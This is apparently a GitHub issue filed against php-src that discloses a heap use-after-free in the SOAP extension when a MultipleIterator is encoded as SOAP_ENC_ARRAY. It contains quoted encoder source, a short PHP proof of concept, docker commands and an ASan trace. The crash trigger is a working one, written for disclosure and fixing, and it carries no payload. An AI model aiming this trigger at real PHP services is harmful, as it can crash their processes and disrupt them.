Skip to content

ext/soap: heap use-after-free while encoding a MultipleIterator #22895

Description

@Amorsec

Description

Summary

PHP's bundled SOAP extension can access a freed array while encoding a
MultipleIterator passed as an encoded SOAP array to
SoapClient::__soapCall(). The supplied PHP 8.4.20 ASan run demonstrates a
native heap-use-after-free in zend_gc_addref() after the SOAP encoder has
already destroyed the iterator's temporary current value. The demonstrated
consequence is PHP process termination under ASan and possible instability in
an unsanitized process.

Details

  • Affected component: bundled ext/soap in PHP 8.4.20, together with the
    built-in SPL MultipleIterator
  • Affected entry point: SoapClient::__soapCall() with a SoapVar using
    SOAP_ENC_ARRAY
  • Affected source: https://github.com/php/php-src, PHP 8.4.20 source;
    ext/soap/php_encoding.c and ext/spl/spl_observer.c
  • Root cause: the SOAP encoder ignores the result of
    array_set_zval_key(), destroys the iterator's current zval, and then
    unconditionally increments the reference count through that same pointer
  • Trigger condition: a MultipleIterator with at least one attached
    iterator is passed as a SOAP_ENC_ARRAY. Its current() and key() values
    are arrays, so the keyed insertion fails because an array cannot be used as a
    PHP array key.

In ext/soap/php_encoding.c:2289-2310, the generic Traversable encoder gets
the current value and key, inserts the value, and then performs unconditional
cleanup and reference counting:

while (iter->funcs->valid(iter) == SUCCESS) {
    val = iter->funcs->get_current_data(iter);
    if (iter->funcs->get_current_key) {
        zval key;
        iter->funcs->get_current_key(iter, &key);

        array_set_zval_key(Z_ARRVAL(array_copy), &key, val);
        zval_ptr_dtor(val);
        zval_ptr_dtor(&key);
    } else {
        add_next_index_zval(&array_copy, val);
    }
    Z_TRY_ADDREF_P(val);
    iter->funcs->move_forward(iter);
}

The return value of array_set_zval_key() is ignored. For the default
MultipleIterator configuration, key() returns an array containing the
sub-iterator keys, and current() returns an array containing the
sub-iterator values. array_set_zval_key() therefore rejects the array key.
The subsequent zval_ptr_dtor(val) releases the temporary array returned by
MultipleIterator::current(). The later Z_TRY_ADDREF_P(val) then reads the
freed array header to update its reference count.

The temporary arrays are created in
ext/spl/spl_observer.c:1288-1351 by spl_multiple_iterator_get_all():

array_init_size(return_value, num_elements);
...
if (SPL_MULTIPLE_ITERATOR_GET_ALL_CURRENT == get_type) {
    zend_call_known_instance_method_with_0_params(
        it->ce->iterator_funcs_ptr->zf_current, it, &retval);
} else {
    zend_call_known_instance_method_with_0_params(
        it->ce->iterator_funcs_ptr->zf_key, it, &retval);
}
...
add_next_index_zval(return_value, &retval);

MultipleIterator::current() and MultipleIterator::key() both call this
helper, so both results are newly constructed arrays. The ASan trace confirms
that the array allocated by spl_multiple_iterator_get_all() is freed by
to_xml_array() at line 2305 and subsequently accessed by the reference-count
increment at line 2310.

The PoC's __doRequest() override only returns an empty transport response so
that the test does not perform network I/O. It does not reenter the heap,
mutate the iterator, or participate in the invalid memory access.

PoC

Environment and configuration

  • Container/image: php-asan-8420-filter-audit2, image
    php-asan:8.4.20

  • PHP: PHP 8.4.20 CLI, NTS, DEBUG build

  • PHP source revision: PHP 8.4.20 source tree; the container did not
    retain a usable Git commit identifier

  • PHP compiler/linker flags:

CFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
CXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
LDFLAGS='-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64'
  • Extension: bundled ext/soap, enabled by --enable-soap and present
    in /src/php/sapi/cli/php; no separate SOAP module was loaded
  • Relevant native dependencies: OpenSSL libraries from
    /opt/openssl-3.2/lib64 were present through the recorded build and run
    environment; they are not involved in the vulnerable operation
  • Sanitizer runtime:
    LD_LIBRARY_PATH=/opt/openssl-3.2/lib64, USE_ZEND_ALLOC=0,
    ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
    UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1

Reproducer

The complete PoC is retained as
SOAP-NEW-009_multiple_iterator_uaf_poc.php:

<?php

class LocalSoapClient extends SoapClient
{
    public function __doRequest(
        $request,
        $location,
        $action,
        $version,
        $one_way = false
    ): ?string {
        return '';
    }
}

$iterator = new MultipleIterator();
$iterator->attachIterator(new ArrayIterator([0]));

$client = new LocalSoapClient(null, [
    'location' => 'http://127.0.0.1/',
    'uri' => 'urn:audit',
]);

$client->__soapCall(
    'audit',
    [new SoapVar($iterator, SOAP_ENC_ARRAY)]
);

Run the PoC with the same sanitizer settings used for the captured evidence:

docker cp SOAP-NEW-009_multiple_iterator_uaf_poc.php \
  php-asan-8420-filter-audit2:/tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php
docker exec php-asan-8420-filter-audit2 sh -lc \
  'env LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
   USE_ZEND_ALLOC=0 \
   ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
   UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
   /src/php/sapi/cli/php \
   /tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php \
   > /tmp/SOAP-NEW-009_multiple_iterator_uaf_asan.txt 2>&1'

The recorded command exited with status 134. The complete, unedited output
is retained as
SOAP-NEW-009_multiple_iterator_uaf_asan.txt.

Sanitizer report

The following excerpt is copied from the complete ASan output captured from
the minimal PoC:

=================================================================
==1623721==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000082640 at pc 0x5604cfa03987 bp 0x7ffe9664c080 sp 0x7ffe9664c070
READ of size 4 at 0x506000082640 thread T0
    #0 0x5604cfa03986 in zend_gc_addref /src/php/Zend/zend_types.h:1340
    #1 0x5604cfa03deb in zval_addref_p /src/php/Zend/zend_types.h:1389
    #2 0x5604cfa2fce8 in to_xml_array /src/php/ext/soap/php_encoding.c:2310
freed by thread T0 here:
    #7 0x5604cfa2fbf3 in to_xml_array /src/php/ext/soap/php_encoding.c:2305
previously allocated by thread T0 here:
    #4 0x5604d0d01d02 in _zend_new_array /src/php/Zend/zend_hash.c:291
    #5 0x5604cfcdfd34 in spl_multiple_iterator_get_all /src/php/ext/spl/spl_observer.c:1301
    #6 0x5604cfce0d29 in zim_MultipleIterator_current /src/php/ext/spl/spl_observer.c:1368
SUMMARY: AddressSanitizer: heap-use-after-free /src/php/Zend/zend_types.h:1340 in zend_gc_addref
==1623721==ABORTING
Aborted

PHP Version

PHP 8.4.20 CLI, NTS, DEBUG build

Operating System

No response

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions